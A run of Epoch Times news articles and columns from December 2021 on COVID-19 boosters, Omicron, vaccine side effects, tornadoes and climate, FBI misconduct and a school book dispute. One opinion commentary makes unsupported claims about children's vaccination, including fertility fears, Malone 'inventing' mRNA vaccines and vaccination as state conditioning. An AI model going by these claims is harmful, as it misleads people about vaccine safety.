or Moderna, in line with its recommendation on mixing vaccines. In the United States, the Food and Drug Administration (FDA) gave the green light in October to the J&J booster dose. The FDA also said, similar to the EMA, that J&J boosters can be given to the eligible population who have previously taken a different vaccine brand. Internationally, many countries are stepping up the rollout of booster doses as longevity of protection offered by standard vaccination has been under scrutiny because of Omicron, a strain of the CCP virus that was first noticed in South Africa last month. Worldwide, only one patient has died after contracting the Omicron variant. Dr. Anthony Fauci, chief medical adviser to the Biden administration, advised Americans on Dec. 12 to get a COVID-19 booster shot because it can raise the level of protection high enough that it does do well against the Omicron. Fauci made the recommendation after data showing the Omicron variant of the coronavirus appeared to be able to evade the protection of antibodies induced by vaccines. Reuters contributed to this report. From NTD News The site of a roof collapse at an Amazon distribution center a day after a series of tornadoes struck multiple states, in Edwardsville, Ill., on Dec. 11, 2021. (Drone Base/Reuters) Experts Refute Claims Linking Deadly Tornadoes to Climate Change Experts have pushed back against claims that deadly tornadoes that swept through Kentucky, Illinois, Missouri, Arkansas, and Tennessee on Dec. 10 and 11 can be clearly linked to manmade climate change. In an exclusive interview with The Epoch Times, professor and climate economist Richard S.J. Tol of the University of Sussex explained why its so difficult to connect weather events on the scale of a tornado to shifts in the Earths climate. Tornadoes are small, rarely more than 3 kilometers [about 1.9 miles] in diameter. The most advanced climate models, however, cannot see things that are smaller than 9-by-9 km. Climate models can therefore tell us very little about tornadoes, he said via email. Data are not great, but suggest that there is no upward or downward trend in tornado frequency or severity. Professor and climate economist Richard S.J. Tol of the University of Sussex. (research.vu.nl) On Dec. 11, President Joe Biden speculated that climate change had some impact on the massive storms that have claimed at least 74 lives so far. All I know is that the intensity of the weather across the board has some impacts as a consequence of the warming of the planet and climate change, Biden said, according to reporting from Fox News. The specific impact on these specific storms, I cant say at this point. The fact is that we all know everything is more intense when the climate is warming. Everything. And obviously it has some impact here, but I cant give you a quantitative read on that. The rush to attribute the tornadoes to climate change illustrates perfectly the political distortion of the topic, Ross McKitrick, climate economist and University of Guelph professor, told The Epoch Times via email in another exclusive interview. Bogdan Gaicki surveys tornado damage after extreme weather hit the region in Mayfield, Ky., on Dec. 12, 2021. (BRENDAN SMIALOWSKI/AFP via Getty Images) The IPCC AR6 (Sct 11.7.3) makes no attribution claims between greenhouse gases and tornadoes, and the long term data show no increasing trend in numbers or severity (indeed there is a slight decrease in numbers), he wrote, referring to the latest Intergovernmental Panel on Climate Change (IPCC) report on the physical science basis for climate change. Yet, the public has been so primed by politicians and activists to blame extreme weather on greenhouse gases, they hardly blink when someone like President Biden just makes up the connection. A Dec. 13 article from The Washington Post claimed that tornadoes have become more frequent in recent decades, citing data from the National Oceanic and Atmospheric Administration (NOAA) that it said illustrates that tornadoes in the United States are becoming more frequent. Homes are badly destroyed after a tornado ripped through the area the previous evening in Mayfield, Ky., on Dec. 11, 2021. (Scott Olson/Getty Images) University of Colorado environmental science professor Roger Pielke Jr. responded on Twitter to that article by describing a figure from the article as incredibly misleading, pointing out that the rollout of Doppler radar systems has increased reporting of very weak tornadoes in more recent years. Like McKitrick, he noted that the IPCC hasnt found that tornadoes are clearly linked to climate change. McKitrick, who recently questioned a key statistical approach used to link greenhouse gases to climate change, wonders why some researchers only ever look at potential downsides of any changes to the Earths climate. Now, the alarmists are shifting to a claim that while the events are natural, greenhouse gases [make] them worse than they otherwise would be, he told The Epoch Times. Aside from the questionable statistical analysis behind such arguments, the big problem is that its ambulance chasing. The fact that they only ever associate greenhouse gases with bad weather outcomes is meaningless since they only ever look at bad weather events. They never study whether a stretch of mild weather could be attributed to greenhouse gases. Police in Santa Cruz arrest one of the rioters outside the farmer's union office on Dec. 13, 2021. (Cesar Calani/The Epoch Times) Farming Union Conflict Turns Violent Over Socialist Land Grab SANTA CRUZ, BoliviaSmoke from gunpowder and tear gas lingered in the air as rival members of a local farmers union engaged in a brutal conflict over the Movement for Socialism (MAS) Partys distribution of free land to party supporters on Dec. 13. Police arrested three combatants while five were injured in the conflict. For the past 15 years, rural members of the MAS party have relocated to the Santa Cruz department in droves over the offer of free farmland from the government, which began in 2006 after former socialist President Evo Morales declared an agrarian revolution and distributed over 6 million acres of land to poor indigenous farmers. However, frustrated local farmers in Santa Cruz are pushing back since the land handouts have primarily gone to supporters of the MAS party who are immigrating from other departments. Farmers shoot at each other with fireworks during the conflict outside the union office in Santa Cruz on Dec. 13, 2021. (Cesar Calani/The Epoch Times) These guys [the MAS] only give land to people from the west, but the land is here. We are here! Santa Cruz farmer Jorge Parada told The Epoch Times. Parada said the distribution in his department was unfair and that if his people (farmers from Santa Cruz) traveled to a western department like Cochabamba, it would be completely different. They wouldnt give us anything if we showed up there, but were from Santa Cruz and we get nothing? Angry farmers accused the MAS party supporting boss for the Federation of Farmers and Workers Union in Santa Cruz, Marcos Miranda, of selling land illegally from the same program. Miranda lost his seat to Hebert Justiniano in a contested election back in November, which initiated the conflict between left- and right-wing members of the union. The disputed land grant program originated in the 1960s, when the Bolivian government hoped to develop the untapped land resources in rural Santa Cruzand build up the populationby offering incentives for people to move there from more populated western departments. It was also touted as a way to redistribute the wealth of a handful of rich landowners to poor indigenous groups. We feel betrayed by the government, Rene Vaca told The Epoch Times. Vaca explained one of the grievances over the land program is the decisions are being made by the MAS in La Paz. Lands are being given away here. Those decisions need to be made by the local [departmental] government, he said. Police use tear gas to disperse rioters in Santa Cruz on Dec. 13, 2021. (Cesar Calani/The Epoch Times) The socialist land grant program has come under political fire in recent months after a group of armed militants seized control of lands near the town of Guarayos in Santa Cruz on Oct. 28. Prospective farmers with guns attacked journalists and police upon arrival for questioning their ownership of the land, which culminated in a seven-hour hostage scenario. Congresswoman for the Chiquitania region of Santa Cruz, Maria Alvarez, denounced the incident in a session on Nov. 3, calling the socialist government supporting farmers who participated in the attack an armed militia and demanded an immediate stop of the invasion of lands in Santa Cruz by opportunistic land seekers. Alvarez described them as an armed militia camouflaged as poor farmers. Dr. Anthony Fauci speaks with people at the White House in Washington on Dec. 1, 2021. (Anna Moneymaker/Getty Images) Fauci: No Need for Omicron-Specific COVID-19 Vaccine Booster at This Time Vaccines may be less effective against Omicron: WHO Early data indicate that theres no need for a COVID-19 vaccine booster that specifically targets the Omicron virus variant, Dr. Anthony Fauci said Wednesday, the same day the World Health Organization said vaccines may be less effective against the variant. Our booster vaccine regimens work against Omicron. At this point, there is no need for a variant-specific booster, Fauci, the head of the National Institute of Allergy and Infectious Diseases (NIAID), told a virtual press briefing. Fauci cited an interim analysis from Pfizer and BioNTech, which makes one of the vaccines; a paper from Rockefeller University scientists; a study from his own agency; and a study (pdf) from British researchers. None of the research has been peer-reviewed. The Pfizer and BioNTech analysis was issued in the form of a press release and the companies have not made the data available for review. NIAID has not released its study yet. Pfizer said the analysis, which stemmed from a laboratory study on sera from vaccinated persons one month after they got a booster, suggested the booster provided a similar level of neutralizing antibodies to Omicron as the vaccine provided against other variants. Pfizer and BioNTech are working on an Omicron-specific vaccine. Rockefeller University scientists used plasma samples from vaccinated people to analyze Omicrons effect and found samples from people who had gotten two doses of the Pfizer or Moderna vaccines were 30- to 180-fold less potent against Omicron than the original strain. Boosters boosted the neutralizing activity 38- to 154-fold. The NIAID study showed much lower activity after two doses against Omicron but two weeks after a booster, there was a substantial degree of elevation of the neutralizing titer, well within the range of neutralizing Omicron, Fauci said. British researchers, using sequenced positive COVID-19 tests, determined Pfizers primary two-dose regimen was much less effective against Omicron, and non-existent for the AstraZeneca-Oxford vaccine. Boosters increased the effectiveness, as measured two weeks after administration, according to the study. The message remains clear. If you are unvaccinated get vaccinated, and particularly in the arena of Omicron. If you are fully vaccinated, get your booster shot, Fauci said. Our vaccines work. They continue to provide people protection against this new variant, and booster shots provide the highest level of protection, added Jeffrey Zients, the coordinator of the White House COVID-19 response team. Messages sent to the White House and NIAID werent immediately returned. The World Health Organization sounded a different tune in its weekly epidemiological update. Preliminary evidence suggests that there may be a reduction in vaccine efficacy and effectiveness against infection and transmission associated with Omicron, as well as an increased risk of reinfection, the United Nations group said. More data are needed to better under the extent to which Omicron may evade vaccine and/or infection derived immunity and the extent to which current vaccines continue to protect against severe disease and death associated with Omicron, it added. As a result, the overall risk posed by Omicron is still designated as very high. Blank yellow vaccination booklets lie on a registration table for people arriving to get COVID-19 vaccines at a church in Berlin, Germany, on Dec. 15, 2021. (Sean Gallup/Getty Images) Other Studies Other early studies on Omicron, which emerged in Africa by October and was first identified by South African scientists last month, indicate vaccines provide much less protection against both infection and hospitalization. Fauci did acknowledge one of the studies, which pegged protection against infection as dropping from 80 percent to 33 percent and protection against hospitalization as dropping from 93 percent to 70 percent. Obviously, this is significantly down, but there is the maintaining of a degree of protection against hospitalization, Fauci said. While experts around the world have cautioned against reading too much into emerging data, the early studies point to the vaccines having little effect against infection from Omicron, a variant of the CCP (Chinese Communist Party) virus. The CCP virus causes COVID-19. Boosters do restore some of the lost protection, the data indicate. But some research shows the level of protection is down from that provided against Delta. A pre-print, unpublished study from Sheba University in Israel, for instance, suggested three shots of Pfizerthe two-shot primary regimen and a boosterprovided four times lower protection than against earlier strains. Small studies have also suggested Omicron can evade natural immunity, or the protection from prior infection, better than the Delta variant. Most of the research deals with Pfizers vaccine, which is widely available in the United States, the United Kingdom, and South Africa, among other countries. Previous research, primarily before Omicron emerged, showed the highest level of protection came from natural immunity, though experts warn against remaining unvaccinated because a small portion of people who get infected, primarily those who havent gotten a vaccine, die with COVID-19. Natural immunity, estimated at 72 percent in Gauteng province in a recent seropositivity survey, may explain why many Omicron-caused cases in South Africa have been mild so far, Shabir Madhi, a professor of vaccinology at the University of the Witwatersrand, said on a recent podcast. We know natural infection induces probably a much more broad repertoire of T cell response, compared to what is induced with spike protein-based vaccines. And I think that is important to keep in the back of our mind when we see whats unfolding currently in South Africa, and what to expect in other settings, which might have a very different epidemiology up until now. FBI Officials Had Sex With Prostitutes While Overseas on Assignment: Watchdog Four FBI officials had sex with prostitutes while on assignment overseas, the Department of Justices Office of Inspector General (OIG) found. The investigation also pointed to a fifth official solicited prostitutes but not having sex with them, the watchdog said in a summary (pdf) of the probe released Tuesday. The four officials who engaged with prostitutes in the unnamed countries lied when asked about their misconduct, violating bureau policy, according to the office of Inspector General Michael Horowitz. Additionally, all five officials failed to report their own misconduct and the misconduct of others, which theyre supposed to do per FBI policy. One of the officials lied when asked whether he or she observed or placed 100 white pills in a package to be delivered to a foreign law enforcement officer and another of the officials failed to report being provided such a package. Of the five officials, two resigned, two retired, and one was removed while the investigation was ongoing. The report was provided to the FBI for appropriate actions, Horowitzs office said. An FBI spokesperson told The Epoch Times in an email that the former workers were part of the bureaus Legal Attache Offices and that the bureau initially referred the allegations to the inspector generals office upon learning that some personnel had likely violated the FBIs Code of Conduct. During the investigation, all of the officials under review were ordered back to the United States and the four officials who engaged in sexual misconduct were removed or resigned before the summary was issued, according to the bureau. The fifth employee will now be disciplined. We have already completed numerous measures during the OIGs investigation to ensure this type of behavior does not happen again. We will take all appropriate disciplinary actions against the one remaining employee with substantiated findings now that our Office of Professional Responsibility is able to proceed from the OIGs final investigative results, the spokesperson said. The FBIs actions in the wake of the findings for workers assigned overseas include imposing mandatory reporting for some contact with foreign nationals; mandatory reporting within three business days of any relationship or exchange of personal information, with some exceptions; and implementing a new 24-hour removal policy for any employee from a foreign post when there is credible evidence that the three-business day rule has been violated. The FBI, at any given time, routinely has personnel assigned around the world. These employees are essential assets to our nations security, the protection of the American people and effectively building critical relationships with our foreign partners through our International Operations Division program, the spokesperson said. The majority of our personnel, wherever they are stationed, represent the FBI with the utmost honor and respect. We will not tolerate these few individuals, who chose to disregard their oath and the public we serve, tarnishing the good work the rest of the FBI accomplishes each and every day. A nurse fills a syrgine with Johnson & Johnson's COVID-19 vaccine at a clinic in Pasadena, Calif., in a file photograph. (Robyn Beck/AFP via Getty Images) FDA Strengthens Warning Over Severe Condition Linked to Johnson & Johnsons COVID-19 Vaccine U.S. drug regulators this week formally strengthened a warning to Americans regarding a severe condition linked to Johnson & Johnsons COVID-19 vaccine. Blood clots and low blood platelet levels, known as thrombosis with thrombocytopenia syndrome (TTS), are now listed as a contraindication, or a medical reason for somebody not to get the shot. Do not administer the vaccine to individuals with a history of the set of conditions following the vaccine or any other adenovirus-vectored COVID-19 vaccine, the Food and Drug Administration (FDA) says in an updated fact sheet (pdf) for health care providers administering vaccines. TTS has been reported in a wide range of individuals 18 years and older since administration of the Johnson & Johnson (J&J) vaccine began earlier this year, regulators say. The highest reporting rate, approximately 1 case per 100,000 doses administered, has occurred in women aged 30 to 49. About 15 percent of the TTS cases have been fatal. Currently available evidence supports a causal relationship between TTS and the Janssen COVID-19 Vaccine, the FDA says in its updated fact sheets. Janssen is a subsidiary of J&J. J&J did not respond to a request for comment. In the spring, U.S. health officials recommended a nationwide pause in administration of the vaccine due to TTS cases appearing among people who had gotten it. The pause was lifted in April. The FDA and Centers for Disease Control and Prevention (CDC) said at the time that officials were confident the vaccine was safe and effective in preventing COVID-19. The FDA said that the available data showed the known and potential benefits outweigh its known and potential risks. Paul Stoffels, J&Js chief scientific officer, said when the pause was lifted that the company would work with health authorities worldwide to educate health care professionals and the public to ensure this very rare event can be identified early and treated effectively. COVID-19 is the disease caused by the CCP (Chinese Communist Party) virus. Three COVID-19 vaccines are available for use in the United States. J&Js is by far the least used. Just 17.2 million doses have been administered as of Dec. 15, compared to 185.8 million doses of Modernas vaccine and 283 million doses of the Pfizer-BioNTech vaccine. A study in November found J&J vaccine recipients had a higher risk of blood clots when compared to recipients of the other two shots. Currently, there are no restrictions in place on administration of the J&J jab. The two contraindications, TTS and severe allergic reaction, typically only apply once a person has suffered an adverse event. The CDCs vaccine advisory panel is meeting Thursday to hear presentations from the CDC on J&Js vaccine. A draft agenda says that one presentation will be on TTS. Another will go over updates to the risk-benefit assessment for the vaccine. Members of the panel will vote in the afternoon on updated recommendations for use. They may potentially narrow the populations who can get the shot. The panel is meeting to hear the latest information on vaccines and disease epidemiology, Jasmine Reed, a CDC spokeswoman, told The Epoch Times in an email. There is no indication FDA experts will participate in the meeting and a spokeswoman for the agency did not respond to a request for comment. Fidelity, Morgan Stanley Prepare for Continued COVID-19 Concerns BOSTON/NEW YORKAsset management firm Fidelity Investments on Monday said it had paused some voluntary return-to-office plans while Morgan Stanleys CEO said he expects COVID-19 to be an issue through the next year, in a further sign that Americas financial industry is rethinking its return to business as usual. U.S. financial firms have been more proactive than other industries in encouraging employees to return to offices. Those plans have come under renewed scrutiny with COVID-19 cases again on the rise and as the Omicron variant of the coronavirus spreads swiftly. Some financial firms are now choosing to pull back on holiday parties, recommend booster shots, or even advise returning to work from home. The private acknowledgement is that return to work plans set for January need another look, said Neal Mills, chief medical officer for professional services firm Aon, who advises corporations on their return-to-work plans. Mills said he received calls every day last week from companies experiencing COVID-19 outbreaks seeking advice on whether to delay bringing employees back or reinstate mitigation measures, like social distancing. Cases surged after Thanksgiving, and are expected to continue rising and peak in January, he said. Family-controlled Fidelity, headquartered in Boston, paused pilot return-to-office programs at its offices in Boston, Smithfield, Rhode Island, and Merrimack, New Hampshire due to rising COVID risk scores, spokesman Michael Aalto said. COVID-19 hospitalizations in Massachusetts rose by 58 percent in the two weeks to Dec. 9, according to data from state authorities, their highest level since February. Several hundred people had been going in to those New England locations, Aalto said, adding that voluntary programs representing thousands of employees are still underway at other locations around the United States. Last week, Wall Street investment bank Jefferies sent staff home and canceled client parties and all but essential travel after the firm experienced nearly 40 new COVID-19 cases. Morgan Stanley Chief Executive James Gorman said in a CNBC interview on Monday that while the bank had about 65 percent of its 95 percent vaccinated staff in New York in the office, and the trading floors had hundreds of staff on them, the pandemics impact was taking longer to recover from than he anticipated. We are in transition period still, Gorman said. I thought we would be out of it by Labor day, past Labor day. Were not. I think we will still be in it through most of next year. Everyone is still finding their way. Gorman has been vocal in support of getting staff back to the office. At the firms U.S. financials, payments, and commercial real estate conference in June he said, if you want to get paid New York rates, you work in New York. He told CNBC that if staff wanted to move en masse to a low cost part of the country that creates issues but that his employees had not reacted that way. Daily cases in New York City have surged this month and hospitalizations are at their highest level since April, according to the U.S. Centers for Disease Control and Prevention (CDC). While the Delta variant is still dominant in the United States, Omicron has been detected in many U.S. states, including New York. London Stalls In London, major investment banks have advised most staff to work from home as of Monday, in line with Britains tighter restrictions, but said their offices will remain open. At least one person has died in the United Kingdom after contracting Omicron. The shift represented a switch for many firms in Europes largest financial capital as, until last week, most were encouraging staff back into the office. We expect a reduction in the amount of people coming into our offices, but our buildings will continue to be accessible to all employees, JPMorgan said in a memo to UK staff late last week. Goldman Sachs International Chief Executive Richard Gnodde said in a memo on Friday that all UK staff who could work from home effectively should do so, but added its offices in London and Birmingham also would remain open. Deutsche Bank has said that staff numbers in London will be significantly reduced from Monday, though employees with certain roles such as traders or those with personal reasons can still go in. It also discouraged staff from taking part in social gatherings. By Ross Kerber, Elizabeth Dilts Marshall, and Matt Scuffham Syringes with Moderna's COVID-19 vaccine sit on a tray in a vaccination center in London on Dec. 4, 2021. (Daniel Leal/AFP via Getty Images) Heart Inflammation Risk Higher From Moderna Vaccine Than COVID-19 for Those Under 40: Study The risk of developing a form of heart inflammation is higher for people younger than 40 after receiving Modernas COVID-19 vaccine than it is from contracting COVID-19, according to a new study. Researchers found 15 excess cases per 1 million people who received a second dose of the vaccine compared to 10 extra cases of myocarditis following a positive COVID-19 test. Modernas vaccine is typically taken in a two-dose regimen. The risk of myocarditis, a form of heart inflammation, was much higher following the second dose of the Moderna vaccine, but there were still eight excess cases per 1 million people following the first dose as well. Time to abandon the belief that COVID-19 myocarditis risk is always higher than mRNA vaccine myocarditis risk. For some individuals, myocarditis risks of the vaccine(s) are higher than those of the disease, Euzebiusz Jamrozik, an infectious disease expert who works at the University of Oxford, wrote on Twitter. The elevated risk stood out against what researchers found for the Pfizer-BioNTech and AstraZeneca-Oxford vaccines. People were found to be more at risk of contracting myocarditis from COVID-19 than from either of those vaccines, regardless of age. This population-based study quantifies for the first time the risk of several rare cardiac adverse events associated with three COVID-19 vaccines as well as SARS-CoV-2 infection. Vaccination for SARS-CoV-2 in adults was associated with a small increase in the risk of myocarditis within a week of receiving the first dose of both adenovirus and mRNA vaccines, and after the second dose of both mRNA vaccines. By contrast, SARS-CoV-2 infection was associated with a substantial increase in the risk of hospitalization or death from myocarditis, pericarditis, and cardiac arrhythmia, the researchers wrote. SARS-CoV-2 is another name for the CCP (Chinese Communist Party) virus, which causes COVID-19. The study was published in Nature and was carried out by professors from multiple colleges, including the University of Oxford, which helped develop the AstraZeneca COVID-19 vaccine. Researchers utilized data from the English National Immunization database, which includes information on all people vaccinated in England. The database featured information on 38.6 million people through Aug. 24. Limitations on the study included not breaking down the data furtherprevious studies indicate that teenagers are at much higher risk of myocarditis from vaccines than older peopleand Modernas vaccine not being available in the UK until April. Representatives for Moderna, Pfizer, and AstraZeneca didnt respond to requests for comment. Modernas headquarters is seen in Cambridge, Mass., on Nov. 30, 2020. (Maddie Meyer/Getty Images) Myocarditis and another form of heart inflammation, pericarditis, have been identified as serious side effects following vaccination with the Moderna and Pfizer COVID-19 vaccines, which are both built on messenger RNA technology. A U.S. study analyzing reports submitted to the Vaccine Adverse Event Reporting System found that teenage boys were more likely to suffer heart inflammation from the Pfizer or Moderna vaccines than they were from COVID-19 hospitalization. Some countries, including Finland, paused their administration of Modernas vaccine to youth because of concerns about the side effect. The preliminary data showed that among those under 30, the myocarditis and pericarditis incidence was higher than expected, Dr. Hanna Nohynek, chief physician of the Finnish Institute for Health and Welfares Unit Infectious Diseases Control and Vaccines, told The Epoch Times in November. The U.S. Food and Drug Administration pushed back a decision in late October on whether to authorize the Moderna vaccine for children aged 17 and younger. Moderna stated that this was done so that drug regulators could more closely analyze the risk-benefit calculus. Moderna stated in a November call that its vaccine, which is administered at a higher amount than Pfizers, offers better protection, but also brings more myocarditis risk. A Canadian pre-print study published last week found that the incidence of heart inflammation was 5.1 times higher for males between 18 and 24 who got a second dose of Modernas vaccine versus those in the same population who received a second dose of Pfizers vaccine. The risk of myocarditis following vaccination was much lower in youth who received the second dose at a longer interval, researchers found. Some countries have stretched the time between the first and second vaccine dose as a result of similar studies. Children wear masks on the playground of a primary school in Helecine, Belgium, on Dec. 6, 2021. (Eric Lalmand/Belga Mag/AFP via Getty Images) Good News: Parents Reluctant to Give COVID Shot to Their Kids Commentary If you watch Fox News or Newsmax and see the endless, repellent government-made commercials of frolicking children, smiling ear-to-ear, presumably because they have just been vaccinated against COVID-19, you could easily think, well, everyones doing it. Not so. According to a KFF.org report dated Dec. 8 and based on the Centers for Disease Control and Preventions Data Tracker, only 16.7 percent of 5- to 11-year-olds have received at least one shot thus far. (72.2 percent of the general U.S. population have taken at least one dose.) What accounts for this reluctance to vaccinate the young? Maybe a little common sense laced with knowledge. You dont have to have read one of the estimable books on the subject by Alex Berenson, Dr. Scott Atlas, or Robert F. Kennedy Jr.although that would helpto realize somethings awry here. Information appears to have filtered down, including, importantly, the microscopic percentage of children that actually die from the disease. Apparently theyre dying at a lesser, or close to the same, rate as the flu. In other words, minimal. Does this merit taking on the risk of relatively untested, especially regarding the future, mRNA technology employed by the vaccines? It depends on which expert you believethe man who told us we had two weeks to stop the spread and lied about his connection to the Chinese lab that may have instigated the pandemic in the first place, or the man who actually invented mRNA vaccines? The latter, Dr. Robert S. Malone, has advised against giving the vaccines to anyone under 65, and 5 to 11 is a long way from that, because its a new medical technique and we dont know enough yet about its long-range side effects. One of those, of special importance to the young, is what the vaccines may ultimately do to their ability to procreate. No wonder a fair number of parents are reluctant. Many of these same parents may have taken the shot themselves, either by choice or because they were forced to by their employers. But they drew the line at their kids. This has a telling similarity to the controversies surrounding our educational system, in which parents (especially the moms) are protesting the pervasive and rapidly expanding bias exemplified by critical race theory. There, too, it was and is about the kids. The leftin its alacrity to adopt what Mark Levin calls American Marxism and I would term, more cynically, The Communism of the Richhas evidently gone too far by taking aim at the children. This reluctance to vaccinate kids is good news (for now), but we are still very much in the midst of a struggle. The Biden administration has limitless funds, and when their propagandistic government commercials appear seemingly every 15 minutes on Fox and Newsmax, you know its far from over. Its only just begun. Further, in some states and locales, these vaccines may be administered without parental permission, a happy accident, so to speak. (Oh, gee, we didnt realize ). Beware. This is a battle for the hearts and minds of America, even more than during the Vietnam War, when we first heard that expression. Then, the communism, for the most part, was outside. This time, its inside. To win this battle takes constant vigilance and, although there are many battlegrounds, the key one is those young people, for the obvious reason that theyre the future of our country, and therefore the world. Their vaccination, while clearly questionable from a health perspective, acts as a softening up to the idea of government control from a very early age. Line up and get vaccinated, boys and girls. Under the cover of fighting COVID, fealty to the state is its most significant and enduring intent. Another similar softening up, perhaps even more extreme with more direct impact, is the free Pre-K education by our government included in the massive Build Back Better proposal, all working, of course, from identical lesson plans. The Biden administration calls this high-quality and developmentally appropriate curriculum. Moms (and dads) for liberty, take note. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. House Intelligence Chairman Adam Schiff (D-Calif.) holds a news conference shortly after the release of the committee's Trump-Ukraine Impeachment Inquiry Report at the U.S. Capitol in Washington on Dec. 3, 2019. (Chip Somodevilla/Getty Images) Jan. 6 Committee Confirms Schiff Presented Doctored Text Message Between Meadows and Jordan The House of Representatives committee investigating the Jan. 6 breach of the U.S. Capitol acknowledged on Wednesday that it doctored a text message between former White House chief of staff Mark Meadows and Rep. Jim Jordan (R-Ohio), excluding content about how they wanted former Vice President Mike Pence to handle electoral votes during the Joint Session of Congress earlier this year. On Monday, Rep. Adam Schiff (D-Calif.), the head of the House Intelligence Committee, showed a graphic during a hearing on newly obtained communications between Meadows and others, including Jordan. The graphic was displayed as the Jan. 6 panel was discussing whether to hold Meadows in contempt of Congress for refusing to hand over information related to the probe. The graphic included the title Lawmaker Text to Meadows. The message was presented as follows: On January 6, 2021, Vice President Mike Pence, as President of the Senate, should call out all electoral votes that he believes are unconstitutional as no electoral votes at all. You can see why this is so critical to ask Mr. Meadows about. About a lawmaker suggesting that the former vice president simply throw out votes that he unilaterally deems unconstitutional in order to overturn a presidential election and subvert the will of the American people, Schiff said. However, the message was actually a direct quote from former Department of Defense Inspector General Joseph Schmitz, according to The Federalist. The text included an attachment of Schmitzs determination that Pence could object to electoral votes from states. The text was also altered to cut off the rest of the sentence, which stated, in accordance with guidance from founding father Alexander Hamilton and judicial precedence, the outlet said. A spokesman for the House panel confirmed to The Epoch Times that the message was doctored. The select committee on Monday created and provided Representative Schiff a graphic to use during the business meeting quoting from a text message from a lawmaker to Mr. Meadows, the spokesman said in an email. In the graphic, the period at the end of that sentence was added inadvertently, the spokesman added, without elaborating on how the error was introduced. The Select Committee is responsible for and regrets the error. Jordan and Schiff did not respond to requests for comment. Jordans office and Schiffs office have not responded to The Epoch Times request for comment. Expect a lot more of this. Schiff and the contemptible Jan6 committee will twist and smear the narrative every chance they get, wrote Rep. Andy Biggs (R-Ariz.) on Twitter Wednesday. Added Rep. Dan Bishop (R-N.C.), Schiff is the Jussie Smollet of Congress, referring to the former Empire actor who was convicted of concocting a hate crime hoax earlier this month. The panel, which later voted to hold Meadows in contempt, previously acknowledged privately that one of its subpoenas contained misinformation, but has still not updated the public on that matter. Jack Phillips Breaking News Reporter Follow Jack Phillips is a breaking news reporter at The Epoch Times based in New York. When it comes to compulsive tendencies, theres no question I received more than the standard allotment. I can sit down fully intending to watch the evening news and end up owning a pasta machine. I can stop by the mall to just look around and come out with three outfits Ill never wear, a gift Ill never give, and several things for the house. I can glance at a mail-order catalog and in the time it takes to dial the phone, Adirondack chairs and matching windsocks are winging their way to my front door. Why? I see what I like and WHAM! Something goes off in my head insisting that I need it right this minute, Im entitled to it, and pity the poor soul who tries to prevent me from having it. While my compulsive tendencies will forever be part of my personality, thankfully I have found ways to quiet them and make them my allies. Self-Parenting When tempted to give in to my impulsive desires, I ask if Id accept this behavior from my children. Visualizing myself having a temper tantrum is a disgusting image that brings me to my senses. Slippery Places Stores, television shopping channels, slick, compelling advertisements, and mail-order catalogs are slippery places for me. Just going there sets me up to fall flat on my face. If I stay away, I avoid temptation. When I have a specific need, I plan my route through the store, make my purchase, and get out of there as quickly as possible. Ive programmed the TV to not stop at shopping channels, and I make sure a trash can is close to the mailbox. Make Spending Difficult For me, carrying a credit card or checkbook is just too convenient and potentially lethal. Instead, I carry only enough cash to meet my anticipated needs for the day. This forces me to plan ahead and helps to avoid a compulsive purchase. Self-Talk When confronted with temptation, I talk to myself: If this werent on sale, would you still buy it? If the answer is no, and it usually is, I pass. Why dont you just go home and think about it? I rarely return. Dont you already have something that will do just as well? I usually do. You dont have to buy this just to prove you can; no one really cares. Reality check. The Saving Antidote Ive found that saving money is the best antidote for overspending. For me, saving money produces a similar euphoria brought on by spending. The difference is that saving never leaves feelings of remorse and guilt the way overspending does. The Root Cause The unrelenting desire to acquire things is often a mask disguising the real issues. Discovering that my compulsive tendencies were rooted in my need for approval allowed me to deal with that issue effectively. By reading good self-help books on compulsive behavior, talking about the subject, and seeking help from wise counselors, Ive discovered why I do the things I do. That has allowed me to take the steps necessary to change. If you suspect you have a problem with compulsive spending, go to DebtorsAnonymous.org and take the self-test. This site will help you find the kind of help you need to get a grip on your compulsive behaviors and free you to make some necessary changes. Mary Hunt is the founder of EverydayCheapskate.com, a frugal living blog and the author of the book Debt-Proof Living. Mary invites you to visit her at her website, where this column is archived complete with links and resources for all recommended products and services. Mary invites questions and comments at EverydayCheapskate.com/contact, Ask Mary. Tips can be submitted at Tips.EverydayCheapskate.com. This column will answer questions of general interest, but letters cannot be answered individually. Copyright 2021 Creators.com Terry Newsome, dressed in a Downers Grove South High School spirit wear, sits in the school auditorium where he spoke up about the book "Gender Queer" last month, in Downers Grove, Ill., on Dec. 13, 2021. (Cara Ding/The Epoch Times) Illinois Parents Fight to Ban Sexually Explicit Book From Schools DOWNERS GROVE, Ill.Terry Newsome, a father of two high school freshmen in a Democratic-leaning Chicago suburb, was never into local school board meetings. That is, until five months ago. Newsome was busy working as an associate vice president at a global information services provider. He was also fighting two cancers, one being stage-four prostate cancer. After he survived that one, his Italian mother, a devout Catholic, said to him, Well, son, you must be kept on this earth for something. About seven months ago, his then eighth-grader son came home from school and told Newsome: Dad, my teacher just told us there is no American dream. It is not there for everybody, so it is not real. Newsome, a descendant of European immigrants who had lived the American dream, was shocked to hear that. He called the principal and reached out to parents, which opened his eyes to what was going on at public schools. Im like, Oh my god. I already heard what happened in eighth grade, but its going to get worse in high school. In July, Newsome attended his first school board meeting at Downers Groves Community High School (District 99). Due to the 20-person limit, several people were blocked from joining the December school board meeting of Community High School District 99, in Downers Grove, Ill., on Dec. 13, 2021. (Cara Ding/The Epoch Times) He voiced his opinions on hot issues such as critical race theory and mask mandates. Soon he emerged as an unofficial spokesperson for a concerned group of mostly mothers. The moms are so happy to have an aggressive, type-A-personality father to join them. They had mostly fought this battle alone, against the giant system of public schools, Newsome told The Epoch Times. Weeks ago, Newsome and his group found themselves in a nationwide fight to ban from schools a comic book with graphic sex scenes. Gender Queer and Cultural War The book, authored by Maia Kobabe, is called Gender Queer: A Memoir, which chronicles Kobabes journey growing up as a nonbinary, asexual person. On several pages, Kobabe drew graphic sex scenes between two people. Some captions also contain sexual messages. Kobabe was often asked during book tours about the recommended ages of readers, and the answer was almost always, High school and above. That is an opinion supported by School Library Journal, a premier national publican for librarians working with children and teens. The publication puts out more than 6,000 reviews every year, and its 2019 review of Kobabes book reads, A book to be savored rather than devoured, this memoir will resonate with teens. As more and more school libraries across the country opened doors to Kobabes books, a growing group of parents concerned with sexual content took on a fight to ban them from their childrens places of learning. Challenging voices can be heard in New Jersey, Texas, and Ohio. Several school districts in Florida, Pennsylvania, and Alaska have banned the books at schools. At Fairfax County in Northern Virginia, the epicenter for LGBTQ students issues, Kobabes books were pulled from but soon returned to school libraries. At District 99, Kobabes 